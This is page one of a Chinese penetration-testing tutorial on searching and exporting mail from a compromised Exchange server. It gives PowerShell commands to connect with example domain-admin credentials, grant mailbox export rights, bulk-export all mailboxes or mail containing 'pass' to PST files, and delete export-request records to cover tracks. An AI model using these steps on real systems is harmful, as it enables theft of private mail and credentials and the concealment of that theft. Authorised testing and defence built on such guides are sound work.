歡迎來到 黑吧安全網 聚焦網絡安全前沿資訊,精華內容,交流技術心得!

滲透基礎——從Exchange服務器上搜索和導出郵件

來源:本站整理 作者:佚名 時間:2019-10-08 TAG: 我要投稿

在滲透測試中,如果我們獲得了Exchange服務器的管理權限,下一步就需要對Exchange服務器的郵件進行搜索和導出,本文將要介紹常用的兩種方法,開源4個powershell腳本,分享腳本編寫細節。
0x01 簡介
本文將要介紹以下內容:
· 管理Exchange服務器上郵件的兩種方法
· 導出郵件的兩種方法
· 搜索郵件的兩種方法
注:本文介紹的方法均為powershell命令。
0x02 管理Exchange服務器上郵件的兩種方法
1.先使用PSSession連接Exchange服務器,進而遠程管理郵件
使用PSSession連接Exchange服務器的命令:
$User = "test\administrator"
$Pass = ConvertTo-SecureString -AsPlainText DomainAdmin123! -Force
$Credential = New-Object System.Management.Automation.PSCredential -ArgumentList $User,$Pass
$Session = New-PSSession -ConfigurationName Microsoft.Exchange -ConnectionUri http://Exchange01.test.com/PowerShell/ -Authentication Kerberos -Credential $Credential
Import-PSSession $Session -AllowClobber
補充:
查看PSSession:
Get-PSSession
斷開PSSession:
Remove-PSSession $Session
測試命令(獲得所有郵箱用戶):
Get-Mailbox
2.直接在Exchange服務器上執行管理郵件的命令
測試命令(獲得所有郵箱用戶的名稱):
Add-PSSnapin Microsoft.Exchange.Management.PowerShell.SnapIn;
Get-Mailbox
注:不同Exchange版本對應的管理單元名稱不同:
· Exchange 2007: Add-PSSnapin Microsoft.Exchange.Management.PowerShell.Admin;
· Exchange 2010: Add-PSSnapin Microsoft.Exchange.Management.PowerShell.E2010;
· Exchange 2013 & 2016: Add-PSSnapin Microsoft.Exchange.Management.PowerShell.SnapIn;
補充:管理Exchange郵件的常用命令
參考資料:
https://docs.microsoft.com/en-us/powershell/module/exchange/?view=exchange-ps
(1)獲得所有郵箱用戶名稱:
Get-Mailbox -ResultSize unlimited
默認顯示1000個用戶,加上-ResultSize unlimited可以獲得所有用戶
(2)獲得所有郵箱的信息,包括郵件數和上次訪問郵箱的時間
Get-Mailbox | Get-MailboxStatistics
(3)獲得所有OU
Get-OrganizationalUnit
(4)通過郵件跟蹤日志獲得收發郵件的相關信息
參考資料:
https://docs.microsoft.com/en-us/powershell/module/exchange/mail-flow/get-messagetrackinglog?view=exchange-ps
郵件跟蹤日志默認保存位置:%ExchangeInstallPath%TransportRoles\Logs\MessageTracking
查看發件人[email protected]從2019年1月1日9:00至今發送的所有郵件的相關信息(包括發件人,收件人和郵件主題):
Get-MessageTrackingLog -Start "01/11/2019 09:00:00" -Sender "[email protected]"
返回的結果很雜亂,其中包括多個事件:
DSN
· Defer
· Deliver
· Send
· Receive
只篩選出發送事件,使返回結果更簡潔:
Get-MessageTrackingLog -EventID send -Start "01/11/2019 09:00:00" -Sender "[email protected]"
統計每天收發郵件數目的腳本:
https://gallery.technet.microsoft.com/office/f2af711e-defd-476d-896e-8053aa964bc5/view/Discussions
需要修改起始時間和添加加載Exchange powershell管理單元的命令。
0x03 導出郵件的兩種方法
1.使用PSSession建立連接并導出郵件
參考資料:
https://docs.microsoft.com/en-us/powershell/module/exchange/mailboxes/new-mailboxexportrequest?view=exchange-ps
(1)將用戶添加到角色組"Mailbox Import Export"
這里以用戶administrator為例:
New-ManagementRoleAssignment –Role "Mailbox Import Export" –User Administrator
補充:移除的命令
Remove-ManagementRoleAssignment -Identity "Mailbox Import Export-Administrator" -Confirm:$false
添加后再次查看進行確認:
Get-ManagementRoleAssignment –Role "Mailbox Import Export"|fl user
(2)重新啟動Powershell
否則,無法使用命令New-MailboxexportRequest。
(3)導出郵件并保存
這里給出三個實例:
1.導出指定用戶的所有郵件,保存到Exchange服務器的c:\test
$User = "test1"
New-MailboxexportRequest -mailbox $User -FilePath ("\\localhost\c$\test\"+$User+".pst")
2.篩選出指定用戶的body中包含單詞pass的郵件,保存到Exchange服務器的c:\test
$User = "test1"
New-MailboxexportRequest -mailbox $User -ContentFilter {(body -like "*pass*")} -FilePath ("\\localhost\c$\test\"+$User+".pst")
3.導出所有郵件,保存到Exchange服務器的c:\test
Get-Mailbox -OrganizationalUnit Users -Resultsize unlimited |%{New-MailboxexportRequest -mailbox $_.name -FilePath ("\\localhost\c$\test\"+($_.name)+".pst")}
導出后會自動保存導出請求的記錄,默認為30天。
如果不想保存導出請求,可以加上參數-CompletedRequestAgeLimit 0
補充:關于導出請求的相關操作。
查看郵件導出請求:
Get-MailboxExportRequest
刪除具體的某個導出請求:
Remove-MailboxExportRequest -RequestQueue "Mailbox Database 2057988509" -RequestGuid 650f52ec-722b-47bb-8e73-d16a17c32129 -Confirm:$false
Remove-MailboxExportRequest -Identity 'test.com/Users/test1\MailboxExport' -Confirm:$false
注:匹配的參數從Get-MailboxExportRequest|fl的結果中獲得。
刪除所有導出請求:
Get-MailboxExportRequest|Remove-MailboxExportRequest -Confirm:$false

[1] [2]  下一頁

【聲明】:黑吧安全網(http://www.eyhadu.live)登載此文出于傳遞更多信息之目的,并不代表本站贊同其觀點和對其真實性負責,僅適于網絡安全技術愛好者學習研究使用,學習中請遵循國家相關法律法規。如有問題請聯系我們,聯系郵箱[email protected],我們會在最短的時間內進行處理。
  • 最新更新
    • 相關閱讀
      • 本類熱門
        • 最近下載
        彩票大数据